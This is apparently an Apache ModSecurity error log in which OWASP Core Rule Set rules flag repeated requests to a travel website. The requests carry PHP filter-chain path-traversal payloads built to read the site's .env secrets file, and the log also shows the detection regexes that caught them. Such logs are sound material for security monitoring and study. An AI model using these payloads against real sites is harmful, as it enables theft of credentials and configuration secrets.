[Fri Jul 17 08:55:11.112533 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSagAAAB4"]
[Fri Jul 17 08:55:11.112559 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSagAAAB4"]
[Fri Jul 17 08:55:11.112925 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:doc: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSagAAAB4"]
[Fri Jul 17 08:55:11.113978 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSagAAAB4"]
[Fri Jul 17 08:55:11.114176 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.114487 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1CBpfuYyhJ140vSagAAAB4"]
[Fri Jul 17 08:55:11.117700 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&doc=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F..%2F.env&ref=RG-4lcrvJe7XRqGVHMBsuKpaIY4yxjD-vlcq6vt9C3Mx4wo19gcOlHz6_yZUZbNhx4B9EjDR8WtrS3OX7QAEQvLIcrxwL2RZR2ptbMqcm1AUZcWJUp3H8WLbW1lzJ2dYxWNoT8TbtyrRHND1gGPaBrcCgMCV7c-0tj8FqicuLQCasZVHd_O18RfgoBmm7QcKx0JzGWNYD7dQXUJbYMgGzEwZWUR7wYPcui1orEBpZDbl4D1YtrV72STnhDwbuUKsa3fnfl0qbG7IS4K4AQGEG8HH&token=JJFZSFVSBRTR4NV27MS6E3XM7KASPJV6EBRRDEHXZERRKOT6Q5ILUSI4CPK4SYZSRPZE4F6XN..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95wQAAAAw"]
[Fri Jul 17 08:55:11.117745 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95wQAAAAw"]
[Fri Jul 17 08:55:11.117803 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&doc=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&ref=RG-4lcrvJe7XRqGVHMBsuKpaIY4yxjD-vlcq6vt9C3Mx4wo19gcOlHz6_yZUZbNhx4B9EjDR8WtrS3OX7QAEQvLIcrxwL2RZR2ptbMqcm1AUZcWJUp3H8WLbW1lzJ2dYxWNoT8TbtyrRHND1gGPaBrcCgMCV7c-0tj8FqicuLQCasZVHd_O18RfgoBmm7QcKx0JzGWNYD7dQXUJbYMgGzEwZWUR7wYPcui1orEBpZDbl4D1YtrV72STnhDwbuUKsa3fnfl0qbG7IS4K4AQGEG8HH&token=JJFZSFVSBRTR4NV27MS6E3XM7KASPJV6EBRRDEHXZERRKOT6Q5ILUSI4CPK4SYZSRPZE4F6XN6BWGONYN5PD22KEURWBPEJIHRF..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95wQAAAAw"]
[Fri Jul 17 08:55:11.117830 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&doc=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&ref=rg-4lcrvje7xrqgvhmbsukpaiy4yxjd-vlcq6vt9c3mx4wo19gcolhz6_yzuzbnhx4b9ejdr8wtrs3ox7qaeqvlicrxwl2rzr2ptbmqcm1auzcwjup3h8wlbw1lzj2dyxwnot8tbtyrrhnd1ggpabrccgmcv7c-0tj8fqiculqcaszvhd_o18rfgobmm7qckx0jzgwnyd7dqxujbymggzewzwur7wypcui1orebpzdbl4d1ytrv72stnhdwbuuksa3fnfl0qbg7is4k4aqgeg8hh&token=jjfzsfvsbrtr4nv27ms6e3xm7kaspjv6ebrrdehxzerrkot6q5ilusi4cpk4syzsrpze4f6xn6bwgonyn5pd22keurwbpejihrf..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95wQAAAAw"]
[Fri Jul 17 08:55:11.117852 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95wQAAAAw"]
[Fri Jul 17 08:55:11.117870 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95wQAAAAw"]
[Fri Jul 17 08:55:11.118199 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:doc: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95wQAAAAw"]
[Fri Jul 17 08:55:11.119061 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:doc: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8fwAAABA"]
[Fri Jul 17 08:55:11.119135 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&doc=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&extra=E9sC9Ut6uFZ9ttzkyqQ4jxcuPrsy1hbhjwKp8cN54pBzw_0Kx3Mqnf7N2w4tpaVKjpS_4QFLE7ZDJr_eFXut9Q8x6Pc0OFmwq4JMlTTf-3LXui4ZatnUyg1on1jiW0pwvvo_UzgGya1xSjEED12UgeGCzRtc4_-nNhvc8lfQyK9MacNV_v5d0FaaCYYwmSuWvBcX6FMfcIVZv_haVC_MZycAPC4uzZZofyF8NsUGGPDSvTJKtLHkqXYtka27LxvYStisa3hsNMhtcWONVhxMAtkm&ts=2ZBK3BR5LWUTK22RLQL3XQ6GNP6TNQ7D5BWTHQUDXJ2JHUOLTDGL..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBPAAAAAY"]
[Fri Jul 17 08:55:11.119170 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBPAAAAAY"]
[Fri Jul 17 08:55:11.119184 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95wQAAAAw"]
[Fri Jul 17 08:55:11.119217 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&doc=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&extra=E9sC9Ut6uFZ9ttzkyqQ4jxcuPrsy1hbhjwKp8cN54pBzw_0Kx3Mqnf7N2w4tpaVKjpS_4QFLE7ZDJr_eFXut9Q8x6Pc0OFmwq4JMlTTf-3LXui4ZatnUyg1on1jiW0pwvvo_UzgGya1xSjEED12UgeGCzRtc4_-nNhvc8lfQyK9MacNV_v5d0FaaCYYwmSuWvBcX6FMfcIVZv_haVC_MZycAPC4uzZZofyF8NsUGGPDSvTJKtLHkqXYtka27LxvYStisa3hsNMhtcWONVhxMAtkm&ts=2ZBK3BR5LWUTK22RLQL3XQ6GNP6TNQ7D5BWTHQUDXJ2JHUOLTDGLJBPSU3TI6FUQX37QTKINLXXVCA..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBPAAAAAY"]
[Fri Jul 17 08:55:11.119274 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&doc=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&extra=e9sc9ut6ufz9ttzkyqq4jxcuprsy1hbhjwkp8cn54pbzw_0kx3mqnf7n2w4tpavkjps_4qfle7zdjr_efxut9q8x6pc0ofmwq4jmlttf-3lxui4zatnuyg1on1jiw0pwvvo_uzggya1xsjeed12ugegczrtc4_-nnhvc8lfqyk9macnv_v5d0faacyywmsuwvbcx6fmfcivzv_havc_mzycapc4uzzzofyf8nsuggpdsvtjktlhkqxytka27lxvystisa3hsnmhtcwonvhxmatkm&ts=2zbk3br5lwutk22rlql3xq6gnp6tnq7d5bwthqudxj2jhuoltdgljbpsu3ti6fuqx37qtkinlxxvca..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBPAAAAAY"]
[Fri Jul 17 08:55:11.119298 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.119304 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBPAAAAAY"]
[Fri Jul 17 08:55:11.119333 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBPAAAAAY"]
[Fri Jul 17 08:55:11.119538 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4l9vhFBGA6D8l95wQAAAAw"]
[Fri Jul 17 08:55:11.119671 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:doc: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBPAAAAAY"]
[Fri Jul 17 08:55:11.120661 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBPAAAAAY"]
[Fri Jul 17 08:55:11.120771 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.120965 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8fwAAABA"]
[Fri Jul 17 08:55:11.121061 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglw5GPQ6hs4VrfMpBPAAAAAY"]
[Fri Jul 17 08:55:11.121261 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.121824 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0kXT4NBqALj2lZ8fwAAABA"]
